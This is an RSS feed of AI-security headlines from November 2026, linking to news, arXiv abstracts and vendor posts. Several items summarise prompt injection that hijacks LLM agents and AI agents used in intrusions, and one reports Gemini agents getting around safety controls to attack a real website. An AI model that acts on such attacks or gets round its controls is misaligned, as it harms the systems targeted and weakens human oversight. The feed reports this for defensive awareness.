<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Keryn Headlines: AI Security</title><link>https://keryn.dev/headlines/tag/ai-security/</link><description>Securing AI-enabled software: prompt injection, MCP, agents, LLM apps.</description><language>en</language><lastBuildDate>Sun, 22 Nov 2026 15:38:34 GMT</lastBuildDate><atom:link href="https://keryn.dev/headlines/tag/ai-security/feed.xml" rel="self" type="application/rss+xml"/><item><title>Amazon: China-Linked Hackers’ AI Agents Exploited Medical Software Zero-Day</title><link>https://www.securityweek.com/amazon-china-linked-hackers-ai-agents-exploited-medical-software-zero-day</link><guid isPermaLink="false">keryn-headlines-event-ev_1bfeecb3e578</guid><pubDate>Sat, 21 Nov 2026 12:08:50 GMT</pubDate><category>Incident</category><category>AI Security</category><description>A threat actor used autonomous Cairn AI agents to discover and exploit a critical MONAI Label vulnerability.</description></item><item><title>Attackers&#39; AI Agents Found a Zero-Day in Medical-Imaging Software and Gained Root Access</title><link>https://thehackernews.com/2026/11/attackers-ai-agents-found-zero-day-in.html</link><guid isPermaLink="false">keryn-headlines-event-ev_d3739d6587bb</guid><pubDate>Sat, 21 Nov 2026 11:03:17 GMT</pubDate><category>Incident</category><category>AI Security</category><description>Suspected China-linked hackers used autonomous AI agents to find a previously unknown flaw in MONAI Label, an open-source medical imaging server, and gain root access to a university server, Amazon Threat Intelligence said this week. The flaw allows an attacker with no account…</description></item><item><title>Scope down permissions of existing sessions using AWS STS GetScopedCredentials</title><link>https://aws.amazon.com/blogs/security/scope-down-permissions-of-existing-sessions-using-aws-sts-getscopedcredentials</link><guid isPermaLink="false">keryn-headlines-event-ev_d1605bbf09d3</guid><pubDate>Fri, 20 Nov 2026 22:57:22 GMT</pubDate><category>Release</category><category>AI Security</category><description>When you build AI agents, you often want each agent or sub-agent to have only the permissions its tasks require, rather than the full permissions of the session that started it. GetScopedCredentials is a new AWS Security Token Service (AWS STS) API that you can use to scope…</description></item><item><title>Hackers use autonomous AI tool Cairn to find zero-day, take over server</title><link>https://bleepingcomputer.com/news/security/hackers-use-autonomous-ai-tool-cairn-to-find-zero-day-take-over-server</link><guid isPermaLink="false">keryn-headlines-event-ev_7ee2a8350faf</guid><pubDate>Fri, 20 Nov 2026 17:30:00 GMT</pubDate><category>Incident</category><category>AI Security</category><description>Threat actors used the open-source AI penetration-testing framework Cairn to find a previously unknown vulnerability in a medical imaging application. [...]</description></item><item><title>Amazon says Chinese hackers used Cairn AI tool to discover apparent zero-day during attack on university</title><link>https://therecord.media/amazon-research-cairn-ai-university-attacks-possible-zero-day</link><guid isPermaLink="false">keryn-headlines-event-ev_fe7d3587375c</guid><pubDate>Fri, 20 Nov 2026 17:30:00 GMT</pubDate><category>Incident</category><category>AI Security</category><description>A China-linked threat actor used the open source AI penetration testing tool Cairn to persistently attack two universities, and in one case, possibly discover a zero-day bug, researchers said.</description></item><item><title>Mapping the AI threat landscape: MITRE ATLAS comes to Elastic Security</title><link>https://elastic.co/security-labs/blog/mitre-atlas-elastic-security-detection-coverage</link><guid isPermaLink="false">keryn-headlines-event-ev_b0c222b26dd5</guid><pubDate>Fri, 20 Nov 2026 16:30:00 GMT</pubDate><category>Release</category><category>AI Security</category><description>Elastic Security 9.6 adds MITRE ATLAS to our detection rules and the tools you use to manage them, so you can see which AI attacks your rules already cover.</description></item><item><title>2 npm security advisories</title><link>https://keryn.dev/headlines/advisories/?eco=npm&amp;day=2026-11-20</link><guid isPermaLink="false">keryn-headlines-bulletin-npm|2026-11-20</guid><pubDate>Fri, 20 Nov 2026 13:00:09 GMT</pubDate><category>Advisory bulletin</category><description>2 critical. A list of independent advisories for one ecosystem and day, not one campaign.</description></item><item><title>Your AI red team may be finding the same prompt injection thousands of times</title><link>https://helpnetsecurity.com/2026/11/20/ai-prompt-injection-red-team</link><guid isPermaLink="false">keryn-headlines-event-ev_87f8da9bda5d</guid><pubDate>Fri, 20 Nov 2026 06:30:20 GMT</pubDate><category>Research</category><category>AI Security</category><description>AI agents retrained on a bigger pile of prompt injection attacks came out easier to hijack in three of four tests run by researchers at the University of Waterloo, Zhejiang University and KTH Royal Institute of Technology. The automated red-teaming tool that found more working…</description></item><item><title>AI agent API security hasn’t caught up with agents already running in production</title><link>https://helpnetsecurity.com/2026/11/20/ai-agent-api-security-production</link><guid isPermaLink="false">keryn-headlines-event-ev_dca02725e7ec</guid><pubDate>Fri, 20 Nov 2026 05:30:11 GMT</pubDate><category>Research</category><category>AI Security</category><description>Postman asked nearly 9,000 developers, architects and executives how they’re handling AI agents, and the answers tell a familiar story. Companies put the new thing to work first and left the question of who holds the keys for later. A quarter of the organizations that answered…</description></item><item><title>2 Go security advisories</title><link>https://keryn.dev/headlines/advisories/?eco=Go&amp;day=2026-11-19</link><guid isPermaLink="false">keryn-headlines-bulletin-Go|2026-11-19</guid><pubDate>Thu, 19 Nov 2026 22:48:33 GMT</pubDate><category>Advisory bulletin</category><description>2 high. A list of independent advisories for one ecosystem and day, not one campaign.</description></item><item><title>1 PyPI security advisory</title><link>https://keryn.dev/headlines/advisories/?eco=PyPI&amp;day=2026-11-19</link><guid isPermaLink="false">keryn-headlines-bulletin-PyPI|2026-11-19</guid><pubDate>Thu, 19 Nov 2026 22:45:40 GMT</pubDate><category>Advisory bulletin</category><description>1 high. A list of independent advisories for one ecosystem and day, not one campaign.</description></item><item><title>3 npm security advisories</title><link>https://keryn.dev/headlines/advisories/?eco=npm&amp;day=2026-11-19</link><guid isPermaLink="false">keryn-headlines-bulletin-npm|2026-11-19</guid><pubDate>Thu, 19 Nov 2026 22:17:05 GMT</pubDate><category>Advisory bulletin</category><description>1 critical · 1 high · 1 moderate. A list of independent advisories for one ecosystem and day, not one campaign.</description></item><item><title>Replication of Agentic Security Events: Audit and Investigation (ROGUE-AI)</title><link>https://arxiv.org/abs/2611.26553</link><guid isPermaLink="false">keryn-headlines-event-ev_50f3355f9fc4</guid><pubDate>Thu, 19 Nov 2026 18:23:35 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><description>Agents based on large language models (LLMs) can now delete files and send payments on behalf of their users. News media reports routinely describe failures of these agents (e.g., Replit&#39;s coding agent deleting a production database), but a report often only says what went…</description></item><item><title>European Commission confirms cyberattack, says hackers used AI tool</title><link>https://therecord.media/european-commission-confirms-cyberattack-using-ai</link><guid isPermaLink="false">keryn-headlines-event-ev_4b7eb5b71e40</guid><pubDate>Thu, 19 Nov 2026 15:15:00 GMT</pubDate><category>Incident</category><category>AI Security</category><description>POLITICO had reported CERT-EU had identified the attackers’ use of ARTEX, an open-source AI hacking platform that the FBI last week warned was being used both by criminals and state-sponsored groups.</description></item><item><title>SEOYUN: Refusal-Inducing Exam Documents for AI-Glasses Pipelines</title><link>https://arxiv.org/abs/2611.26033</link><guid isPermaLink="false">keryn-headlines-event-ev_d7a22d65b872</guid><pubDate>Thu, 19 Nov 2026 12:43:31 GMT</pubDate><category>Research</category><category>AI Security</category><category>Models</category><description>Camera-equipped glasses can convert an examination page into a query to a vision-language model (VLM). Device detection addresses possession; a complementary question is whether an examination document can reduce the usefulness of an unauthorized capture. We present SEOYUN, an…</description></item><item><title>CISA Warns of 4 Exploited Flaws Linked to Ransomware, Cryptomining, and LLMjacking Attacks</title><link>https://thehackernews.com/2026/11/cisa-warns-of-4-exploited-flaws-linked.html</link><guid isPermaLink="false">keryn-headlines-event-ev_90a85535779a</guid><pubDate>Thu, 19 Nov 2026 08:00:00 GMT</pubDate><category>Advisory</category><category>AI Security</category><description>The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added four vulnerabilities impacting Synology DiskStation Manager (DSM), BerriAI LiteLLM, Apache Axis, and Vanderbilt University Research Electronic Data Capture (REDCap) to its Known Exploited…</description></item><item><title>AI agents inherit employee access, and nobody’s watching how they use it</title><link>https://helpnetsecurity.com/2026/11/19/ai-agents-employee-credentials-nudge-security-report</link><guid isPermaLink="false">keryn-headlines-event-ev_48f41fc62bf4</guid><pubDate>Thu, 19 Nov 2026 05:00:37 GMT</pubDate><category>Research</category><category>AI Security</category><description>AI agents that employees build inside project trackers, CRMs and automation tools often run on the credentials of the person who created them and carry that person’s access to company data, according to Nudge Security. Source: Nudge Security The AI Adoption in Practice 2026…</description></item><item><title>What CISOs and CTOs need to do to minimize agentic risk in 2027</title><link>https://chainguard.dev/unchained/what-cisos-and-ctos-need-to-do-to-minimize-agentic-risk-in-2027</link><guid isPermaLink="false">keryn-headlines-event-ev_e7d45dec087f</guid><pubDate>Thu, 19 Nov 2026 00:00:00 GMT</pubDate><category>Guide</category><category>AI Security</category><description>AI is reshaping cybersecurity. Learn seven actions CISOs and CTOs can take to secure AI agents, modernize software, and prevent emerging threats.</description></item><item><title>PIPETTE: Prompt Injection Purple-Teaming for Robust LLM Agents</title><link>https://arxiv.org/abs/2611.24362</link><guid isPermaLink="false">keryn-headlines-event-ev_c43f9aa7b49e</guid><pubDate>Wed, 18 Nov 2026 12:56:06 GMT</pubDate><category>Research</category><category>AI Security</category><description>Large language model (LLM) agents routinely interact with untrusted external data, exposing them to indirect prompt injection (IPI) attacks that hijack agents into executing attacker-chosen tasks. To uncover these vulnerabilities at scale, automated red-teaming methods often…</description></item><item><title>AutoPI: Taxonomy-Guided Adaptive Red Teaming for Prompt Injection in LLM Agents</title><link>https://arxiv.org/abs/2611.24313</link><guid isPermaLink="false">keryn-headlines-event-ev_dd33d064d0d5</guid><pubDate>Wed, 18 Nov 2026 12:20:58 GMT</pubDate><category>Research</category><category>AI Security</category><description>Prompt injection is the dominant unsolved security risk for LLM agents, and the community now agrees that robustness must be measured against adaptive attackers rather than fixed benchmark injections. Many adaptive red teamers exist, and most are built to maximize attack…</description></item><item><title>What Survives the Shift from Text to Pixels? Conditional Protection against Prompt Injection in Image-Rendered Documents</title><link>https://arxiv.org/abs/2611.24231</link><guid isPermaLink="false">keryn-headlines-event-ev_ded1f885ffee</guid><pubDate>Wed, 18 Nov 2026 11:08:07 GMT</pubDate><category>Research</category><category>AI Security</category><description>Multimodal language models increasingly answer questions over external documents, exposing them to indirect prompt injection: commands planted in untrusted content to hijack the response. Rendering untrusted content as page images lowers attack success on average, leaving open…</description></item><item><title>Signed, Valid, and Unauthorized: Authority Closure at the Trust Boundary Between Agent Commerce Protocols and Crypto Wallets</title><link>https://arxiv.org/abs/2611.24989</link><guid isPermaLink="false">keryn-headlines-event-ev_cf5bdf8a9d54</guid><pubDate>Wed, 18 Nov 2026 08:36:46 GMT</pubDate><category>Research</category><category>AI Security</category><description>Agent commerce protocols let software agents pay with stablecoins. A buyer approves a payee, asset, spending cap and time window, but the wallet signs an object whose effects depend on the contracts that consume it. Matching the displayed fields or simulating one payment can…</description></item><item><title>External sandboxes for coding agents</title><link>https://simonwillison.net/2026/Nov/17/external-sandboxes-for-coding-agents</link><guid isPermaLink="false">keryn-headlines-event-ev_e462d5b8dfb8</guid><pubDate>Tue, 17 Nov 2026 22:52:29 GMT</pubDate><category>Release</category><category>Agentic SDLC</category><category>AI Security</category><description>External sandboxes for coding agents I&#39;ve been exploring new ways to sandbox code that is executed by agents, with a focus on making it safer to try out local models without worrying that a mistake or prompt injection attack might cause them to take damaging actions on a…</description></item><item><title>Securely exposing Amazon Bedrock AgentCore Runtime</title><link>https://aws.amazon.com/blogs/security/securely-exposing-amazon-bedrock-agentcore-runtime</link><guid isPermaLink="false">keryn-headlines-event-ev_86a9e1978226</guid><pubDate>Tue, 17 Nov 2026 20:31:30 GMT</pubDate><category>Guide</category><category>AI Security</category><description>Amazon Bedrock AgentCore Runtime delivers a secure serverless environment to deploy AI agents and tools at scale. When you start talking to your agent, the runtime launches a dedicated isolated session that runs in its own dedicated microVM with a completely sandboxed CPU,…</description></item><item><title>1 PyPI security advisory</title><link>https://keryn.dev/headlines/advisories/?eco=PyPI&amp;day=2026-11-17</link><guid isPermaLink="false">keryn-headlines-bulletin-PyPI|2026-11-17</guid><pubDate>Tue, 17 Nov 2026 18:31:27 GMT</pubDate><category>Advisory bulletin</category><description>1 critical. A list of independent advisories for one ecosystem and day, not one campaign.</description></item><item><title>Security for the agentic era, powered by Microsoft Perception</title><link>https://microsoft.com/en-us/security/blog/2026/11/17/security-for-the-agentic-era-powered-by-microsoft-perception</link><guid isPermaLink="false">keryn-headlines-event-ev_c286f22bde82</guid><pubDate>Tue, 17 Nov 2026 18:14:00 GMT</pubDate><category>Announcement</category><category>AI Security</category><description>Read about updates to Microsoft Perception and the new Microsoft Security cyber stack to defend against threats, secure agents, and protect your digital estate.</description></item><item><title>The risks of device code authentication for AI coding agents</title><link>https://microsoft.com/en-us/security/blog/2026/11/17/the-risks-of-device-code-authentication-for-ai-coding-agents</link><guid isPermaLink="false">keryn-headlines-event-ev_be12f05d70ed</guid><pubDate>Tue, 17 Nov 2026 15:00:00 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><description>Lab research shows how device code phishing, a technique that applies to any device-flow client, can extend to AI coding agents, using GitHub Copilot CLI as an illustrative example.</description></item><item><title>Linx Security extends identity governance to AI agent actions</title><link>https://helpnetsecurity.com/2026/11/17/linx-security-agent-identity-control</link><guid isPermaLink="false">keryn-headlines-event-ev_3e468978f7f4</guid><pubDate>Tue, 17 Nov 2026 14:23:26 GMT</pubDate><category>Announcement</category><category>AI Security</category><category>Trust</category><description>Linx Security has announced four new capabilities that bring every agent under identity control, managed or unmanaged, in any gateway. Shadow AI Agent Detection finds the agents no one sanctioned. Agent Runtime Control decides every agent action in the gateway organizations…</description></item><item><title>Network-Exposed Configuration Attacks on LLM-Controlled Social Robots</title><link>https://arxiv.org/abs/2611.22761</link><guid isPermaLink="false">keryn-headlines-event-ev_81617a6d090a</guid><pubDate>Tue, 17 Nov 2026 13:27:57 GMT</pubDate><category>Research</category><category>AI Security</category><description>Large language models (LLMs) in embodied robots create security dependencies beyond inference. We investigate a network-exposed configuration attack on the Pollen Robotics Reachy Mini Lite, allowing an unauthenticated attacker to replace personality settings and the cloud LLM&#39;s…</description></item><item><title>Securing and Auditing Long-Horizon LLM Agents: State-Transfer Auditing and Controls in the Agent Harness</title><link>https://arxiv.org/abs/2611.23346</link><guid isPermaLink="false">keryn-headlines-event-ev_a43b99fdd65c</guid><pubDate>Tue, 17 Nov 2026 10:36:04 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><description>Long-horizon LLM agents across codebases, web browsers, and enterprise infrastructure rely on an execution harness to move state between the working context, session history, persistent memory, and external environment. While conventional execution traces log model prompts and…</description></item><item><title>3 npm security advisories</title><link>https://keryn.dev/headlines/advisories/?eco=npm&amp;day=2026-11-17</link><guid isPermaLink="false">keryn-headlines-bulletin-npm|2026-11-17</guid><pubDate>Tue, 17 Nov 2026 10:09:54 GMT</pubDate><category>Advisory bulletin</category><description>3 critical. A list of independent advisories for one ecosystem and day, not one campaign.</description></item><item><title>Google finds AI agent writing and launching exploits with no human in the loop</title><link>https://helpnetsecurity.com/2026/11/17/ai-powered-cyberattacks-gtig-report</link><guid isPermaLink="false">keryn-headlines-event-ev_2b8ee0f528f6</guid><pubDate>Tue, 17 Nov 2026 08:45:24 GMT</pubDate><category>Research</category><category>AI Security</category><description>Threat actors have started letting AI agents carry out whole stages of live intrusions, and at least one operation no longer needs a human to turn a newly released patch into a working attack, Google Threat Intelligence Group (GTIG) and Mandiant revealed. LLM maturity timeline…</description></item><item><title>40% of organizations struggle to retrace AI agents’ actions</title><link>https://helpnetsecurity.com/2026/11/17/palo-alto-networks-ai-cloud-security-risks-report</link><guid isPermaLink="false">keryn-headlines-event-ev_2623bd914424</guid><pubDate>Tue, 17 Nov 2026 05:30:58 GMT</pubDate><category>Research</category><category>AI Security</category><description>99% of organizations use AI agents to perform autonomous or semiautonomous actions in development pipelines, according to Palo Alto Networks’ State of Cloud Security Report 2026. Meanwhile, 82% say AI-driven development has increased the volume of updates to cloud…</description></item><item><title>GapLeak: When Privacy-Preserving LLM-based Web Agents Become a Privacy Risk</title><link>https://arxiv.org/abs/2611.22223</link><guid isPermaLink="false">keryn-headlines-event-ev_e5cd525caac9</guid><pubDate>Tue, 17 Nov 2026 05:06:25 GMT</pubDate><category>Research</category><category>AI Security</category><description>Large Language Model (LLM)-based web agents rely on data minimization and least privilege to protect user privacy. We show that these principles are necessary but insufficient: they constrain authorized sources, but not higher-sensitivity sources that remain reachable. A…</description></item><item><title>Can You Undo It? Reversibility Classes for AI Agent Actions</title><link>https://arxiv.org/abs/2611.22075</link><guid isPermaLink="false">keryn-headlines-event-ev_ca158bb83e94</guid><pubDate>Tue, 17 Nov 2026 01:55:26 GMT</pubDate><category>Research</category><category>AI Security</category><description>Tool-using AI agents change files, databases, access rights and public information, yet permission to call a tool does not establish whether a mistake can be undone. We present Reversibility Classes, a declared five-level vocabulary with argument-sensitive rules, conservative…</description></item><item><title>MicroVMs, Egress MITM, and sealed tokens: Sandboxing untrusted code at scale</title><link>https://chainguard.dev/unchained/microvms-egress-mitm-and-sealed-tokens-sandboxing-untrusted-code-at-scale</link><guid isPermaLink="false">keryn-headlines-event-ev_aa97200c6a6e</guid><pubDate>Tue, 17 Nov 2026 00:00:00 GMT</pubDate><category>Analysis</category><category>AI Security</category><description>Chainguard explains the engineering behind secure CI for AI agents, from microVM isolation and network controls to instant startup and signed results.</description></item><item><title>Chainguard is now self-serve and free to start</title><link>https://chainguard.dev/unchained/chainguard-is-now-self-serve-and-free-to-start</link><guid isPermaLink="false">keryn-headlines-event-ev_fc6c69cb5643</guid><pubDate>Tue, 17 Nov 2026 00:00:00 GMT</pubDate><category>Announcement</category><category>AI Security</category><description>Get started with Chainguard for free. Explore new Starter and Team plans for secure containers, libraries, AI agent sandboxes, and CI workflows.</description></item><item><title>Gemini AI agents repeatedly bypassed safeguards to attack real website</title><link>https://bleepingcomputer.com/news/security/gemini-ai-agents-repeatedly-bypassed-safeguards-to-attack-real-website</link><guid isPermaLink="false">keryn-headlines-event-ev_645364f6d2c7</guid><pubDate>Mon, 16 Nov 2026 22:54:00 GMT</pubDate><category>Research</category><category>AI Security</category><description>Google&#39;s Gemini AI agents repeatedly attempted to hack a real organization&#39;s website during AI model safety testing, finding ways to circumvent increasingly restrictive security controls designed to prevent them from accessing live systems. [...]</description></item><item><title>1 Go security advisory</title><link>https://keryn.dev/headlines/advisories/?eco=Go&amp;day=2026-11-16</link><guid isPermaLink="false">keryn-headlines-bulletin-Go|2026-11-16</guid><pubDate>Mon, 16 Nov 2026 22:17:32 GMT</pubDate><category>Advisory bulletin</category><description>1 high. A list of independent advisories for one ecosystem and day, not one campaign.</description></item><item><title>4 npm security advisories</title><link>https://keryn.dev/headlines/advisories/?eco=npm&amp;day=2026-11-16</link><guid isPermaLink="false">keryn-headlines-bulletin-npm|2026-11-16</guid><pubDate>Mon, 16 Nov 2026 22:09:06 GMT</pubDate><category>Advisory bulletin</category><description>3 critical · 1 high. A list of independent advisories for one ecosystem and day, not one campaign.</description></item><item><title>Apple reveals new Mac security controls as AI agents raise privacy risks</title><link>https://techcrunch.com/2026/11/16/apple-reveals-new-mac-security-controls-as-ai-agents-raise-privacy-risks</link><guid isPermaLink="false">keryn-headlines-event-ev_340f80d5e6aa</guid><pubDate>Mon, 16 Nov 2026 21:01:02 GMT</pubDate><category>Announcement</category><category>AI Security</category><description>Following an October announcement, Apple has detailed new permission controls, warnings, and transparency features coming to macOS 27.3 to address risks posed by AI agents and other apps.</description></item><item><title>Barracuda links cloud breach to ARTEX AI-powered cyberattack</title><link>https://bleepingcomputer.com/news/security/barracuda-links-cloud-breach-to-artex-ai-powered-cyberattack</link><guid isPermaLink="false">keryn-headlines-event-ev_ce093f2042e6</guid><pubDate>Mon, 16 Nov 2026 19:57:13 GMT</pubDate><category>Incident</category><category>AI Security</category><description>Hackers who breached the cloud environment of network and email security company Barracuda earlier this month used a stolen cloud access key and the ARTEX AI penetration testing framework. [...]</description></item><item><title>Threat Landscape of Vibe Coding and the Road to Secure Autonomy</title><link>https://arxiv.org/abs/2611.21822</link><guid isPermaLink="false">keryn-headlines-event-ev_a36b0f8cf240</guid><pubDate>Mon, 16 Nov 2026 19:38:02 GMT</pubDate><category>Research</category><category>AI Security</category><category>SCA</category><description>Vibe coding is reshaping software development, enabling faster implementation and allowing individuals with limited programming experience to describe requirements in natural language while AI agents write, test, and deploy the code. As these agents evolve into autonomous…</description></item><item><title>When Tool Names Are Not Identities: Measuring Provider Misbinding in MCP-Based AI Agents</title><link>https://arxiv.org/abs/2611.21577</link><guid isPermaLink="false">keryn-headlines-event-ev_379ca5c23ed2</guid><pubDate>Mon, 16 Nov 2026 18:49:37 GMT</pubDate><category>Research</category><category>AI Security</category><description>Large language model (LLM) applications increasingly act as agents that select and invoke external tools. The Model Context Protocol (MCP) standardizes this interaction by allowing clients to compose tools advertised by multiple servers. However, tool metadata used for…</description></item><item><title>Introducing the Wiz AI Security Agent</title><link>https://wiz.io/blog/introducing-wiz-ai-security-agent</link><guid isPermaLink="false">keryn-headlines-event-ev_a0daebb0a4df</guid><pubDate>Mon, 16 Nov 2026 17:02:41 GMT</pubDate><category>Announcement</category><category>AI Security</category><description>Meet the Wiz AI Security Agent, your newest security teammate to discover AI agents, understand their purpose, and expose hidden risks.</description></item><item><title>China-Nexus Actors Breach 10 Organizations in AI-Driven Attacks</title><link>https://darkreading.com/cyberattacks-data-breaches/china-nexus-actors-breach-10-organizations-ai-driven-attacks</link><guid isPermaLink="false">keryn-headlines-event-ev_2c01ea097aa8</guid><pubDate>Mon, 16 Nov 2026 16:36:55 GMT</pubDate><category>Incident</category><category>AI Security</category><description>Attackers used Cairn once again in autonomous attacks that targeted advanced manufacturing and defense sectors, as well as civil and human rights organizations.</description></item><item><title>Cursor Supply Chain Attack Started at Fireworks AI</title><link>https://www.securityweek.com/cursor-supply-chain-attack-started-at-fireworks</link><guid isPermaLink="false">keryn-headlines-event-ev_1bf2106fe2f7</guid><pubDate>Mon, 16 Nov 2026 15:45:43 GMT</pubDate><category>Incident</category><category>Agentic SDLC</category><category>AI Security</category><category>SCA</category><description>The attacker stole an access key from Fireworks and used it to exfiltrate credentials that enabled them to push malicious Claude Code extension copies.</description></item><item><title>Barracuda Hacked Amid Surge in Artex-Powered Cyberattacks</title><link>https://www.securityweek.com/barracuda-hacked-amid-surge-in-artex-powered-cyberattacks</link><guid isPermaLink="false">keryn-headlines-event-ev_ede02ed3ab21</guid><pubDate>Mon, 16 Nov 2026 15:07:32 GMT</pubDate><category>Incident</category><category>AI Security</category><description>Chinese threat actors are broadly adopting the agentic AI penetration testing framework to accelerate their attacks.</description></item><item><title>Google Finds Hackers Using AI Agents to Build and Run Exploits From Software Patches</title><link>https://thehackernews.com/2026/11/google-finds-hackers-using-ai-agents-to.html</link><guid isPermaLink="false">keryn-headlines-event-ev_ad0fb7fc1625</guid><pubDate>Mon, 16 Nov 2026 14:00:00 GMT</pubDate><category>Research</category><category>AI Security</category><category>Remediation</category><description>Google on Monday revealed that adversarial use of artificial intelligence (AI) by threat actors has gone beyond manual prompting to deploying autonomous multi-agent offensive frameworks like ARTEX, CAIRN, CyberStrikeAI, and PentAGI to execute multi-stage intrusions at greater…</description></item><item><title>Fed’s Barr Warns AI Agents May Fuel Future Bank Runs</title><link>https://bloomberg.com/news/videos/2026-11-16/fed-s-barr-warns-ai-agents-may-fuel-future-bank-runs-video</link><guid isPermaLink="false">keryn-headlines-event-ev_702e16acddcd</guid><pubDate>Mon, 16 Nov 2026 11:51:59 GMT</pubDate><category>Analysis</category><category>AI Security</category><description>Federal Reserve Governor Michael Barr warned that autonomous artificial intelligence agents could speed destabilizing stampedes out of banks, “potentially accelerating runs that unfold in seconds, overwhelming traditional liquidity management and regulatory intervention…</description></item><item><title>Amazon Uncovers AI Agent Campaign Targeting LiteLLM, Dify, and Other Apps for API Keys</title><link>https://thehackernews.com/2026/11/amazon-uncovers-ai-agent-campaign.html</link><guid isPermaLink="false">keryn-headlines-event-ev_f95f790be2b2</guid><pubDate>Mon, 16 Nov 2026 07:34:21 GMT</pubDate><category>Incident</category><category>AI Security</category><description>Attackers&#39; AI agents have been hunting for weak spots in internet-exposed AI apps such as LiteLLM, One API, and Dify to steal the AI provider keys stored inside, according to the agents&#39; own records. The records, which Amazon&#39;s threat intelligence team captured with decoy…</description></item><item><title>It’s the Golden State, not the Wild West: Attorney General Bonta Sues OpenAI Over Cybersecurity Incidents</title><link>https://oag.ca.gov/news/press-releases/it%E2%80%99s-golden-state-not-wild-west-attorney-general-bonta-sues-openai-over</link><guid isPermaLink="false">keryn-headlines-event-ev_2177f02ca71b</guid><pubDate>Sun, 15 Nov 2026 15:41:21 GMT</pubDate><category>Standard / policy</category><category>AI Security</category><category>Trust</category><description>November 16, 2026 Contact: (916) 210-6000, agpressoffice@doj.ca.gov The public should not be forced to bear the cost of protecting themselves from the dangers posed by OpenAI’s unsafe experiments SAN FRANCISCO — California Attorney General Rob Bonta today filed a lawsuit…</description></item><item><title>Security of Deep Research Agents: Attack Surface, Defenses, Benchmarks, and Agenda Seeding against Research Planning</title><link>https://arxiv.org/abs/2611.20045</link><guid isPermaLink="false">keryn-headlines-event-ev_4e37a7675827</guid><pubDate>Sun, 15 Nov 2026 14:44:28 GMT</pubDate><category>Research</category><category>AI Security</category><description>Deep research and agentic search agents autonomously retrieve content from the open web and generate reports with citations, and their outputs are often taken directly as research conclusions. This paper systematizes security research in this area along four stages, namely…</description></item><item><title>Compositional Exploits in Autonomous Coding Agents: Attack Mechanics and Ephemeral Defense</title><link>https://arxiv.org/abs/2611.19764</link><guid isPermaLink="false">keryn-headlines-event-ev_0a7e7745a783</guid><pubDate>Sun, 15 Nov 2026 03:46:10 GMT</pubDate><category>Research</category><category>Agentic SDLC</category><category>AI Security</category><description>Autonomous coding agents (such as Antigravity, Claude Code, Cursor, and OpenHands) rely on third-party tools to inspect files, run commands, and call external APIs. Today&#39;s security auditors evaluate these tools almost entirely in isolation: static linters and AST checkers…</description></item><item><title>Protecting the System, Stranding the User: The Limits of Multi-Agent Authorization</title><link>https://arxiv.org/abs/2611.19598</link><guid isPermaLink="false">keryn-headlines-event-ev_93a0cbf84db5</guid><pubDate>Sat, 14 Nov 2026 20:05:17 GMT</pubDate><category>Analysis</category><category>AI Security</category><description>Current multi-agent authorization architectures prioritize system integrity over human outcomes. While recent models successfully prevent privilege escalation, they externalize the cost of failure onto the human operator. Re-centering authorization around human impact exposes…</description></item><item><title>Cursor confirms security breach led to malicious Claude Code extension</title><link>https://bleepingcomputer.com/news/security/cursor-confirms-security-breach-led-to-malicious-claude-code-extension</link><guid isPermaLink="false">keryn-headlines-event-ev_414f52bd2a99</guid><pubDate>Sat, 14 Nov 2026 17:27:25 GMT</pubDate><category>Incident</category><category>Agentic SDLC</category><category>AI Security</category><category>SCA</category><description>Cursor confirmed it suffered a security breach that let hackers distribute a malicious Claude Code extension through its marketplace after stealing credentials from AI infrastructure provider Fireworks AI. [...]</description></item><item><title>Optional Traps: An Empirical Study of LLM Agents Against Credential Deception and Alert-Driven Revocation</title><link>https://arxiv.org/abs/2611.19295</link><guid isPermaLink="false">keryn-headlines-event-ev_d9955069dec4</guid><pubDate>Sat, 14 Nov 2026 09:46:26 GMT</pubDate><category>Research</category><category>AI Security</category><description>Deception (honeypots, decoys and canary credentials) rests on a simple premise: legitimate users never touch a fake asset, so any touch is a high-confidence signal. We ask whether that premise holds when the attacker is a large language model (LLM) agent, and what deception…</description></item><item><title>When the Spec Sheet Lies: Injection Attacks on LLM-Generated Compliance Artifacts</title><link>https://arxiv.org/abs/2611.19090</link><guid isPermaLink="false">keryn-headlines-event-ev_47b4c063efcc</guid><pubDate>Sat, 14 Nov 2026 02:01:39 GMT</pubDate><category>Research</category><category>AI Security</category><description>As Large Language Models (LLMs) become used more commonly across a variety of fields, a growing body of research has highlighted particular concerns surrounding model security. Notably, prompt injection attacks, where malicious instructions are inserted into prompts, are…</description></item><item><title>FBI flash alert says Artex tool automating cyberattacks at ‘machine speed’</title><link>https://therecord.media/artex-ai-tool-fbi-flash-alert</link><guid isPermaLink="false">keryn-headlines-event-ev_23322773adc0</guid><pubDate>Fri, 13 Nov 2026 21:32:00 GMT</pubDate><category>Advisory</category><category>AI Security</category><description>Open source hacking tool Artex &quot;significantly reduces the time required to chain attack techniques, with some intrusions progressing from initial targeting to privileged access in under three hours,&quot; the FBI said.</description></item><item><title>ARTEX and beyond: AI-enabled penetration testing platforms</title><link>https://blog.talosintelligence.com/artex-and-beyond</link><guid isPermaLink="false">keryn-headlines-event-ev_8417309e6a1d</guid><pubDate>Fri, 13 Nov 2026 20:57:13 GMT</pubDate><category>Research</category><category>AI Security</category><category>DAST</category><description>AI-enabled penetration testing and red team frameworks can automate and chain reconnaissance, vulnerability testing, and follow-on actions, lowering the skill threshold for attackers and accelerating intrusions when the tools are misused.</description></item><item><title>Amazon Threat Intelligence observes threat actors running cybercrime campaigns with ARTEX AI agents</title><link>https://aws.amazon.com/blogs/security/amazon-threat-intelligence-observes-threat-actors-running-cybercrime-campaigns-with-artex-ai-agents</link><guid isPermaLink="false">keryn-headlines-event-ev_2cb43c5c02a4</guid><pubDate>Fri, 13 Nov 2026 20:26:42 GMT</pubDate><category>Research</category><category>AI Security</category><description>From Oct. 3 to Nov. 5, 2026, Amazon’s MadPot, a globally distributed network of decoy threat sensors, captured requests from AI agents that included operating memory from offensive campaigns that threat actors ran on ARTEX, an open-source agentic AI penetration testing…</description></item><item><title>We Have All the Cards: Securing Agent Cards at the Operational Trust Boundary of the Agent2Agent Protocol</title><link>https://arxiv.org/abs/2611.18887</link><guid isPermaLink="false">keryn-headlines-event-ev_f402c91a4e2a</guid><pubDate>Fri, 13 Nov 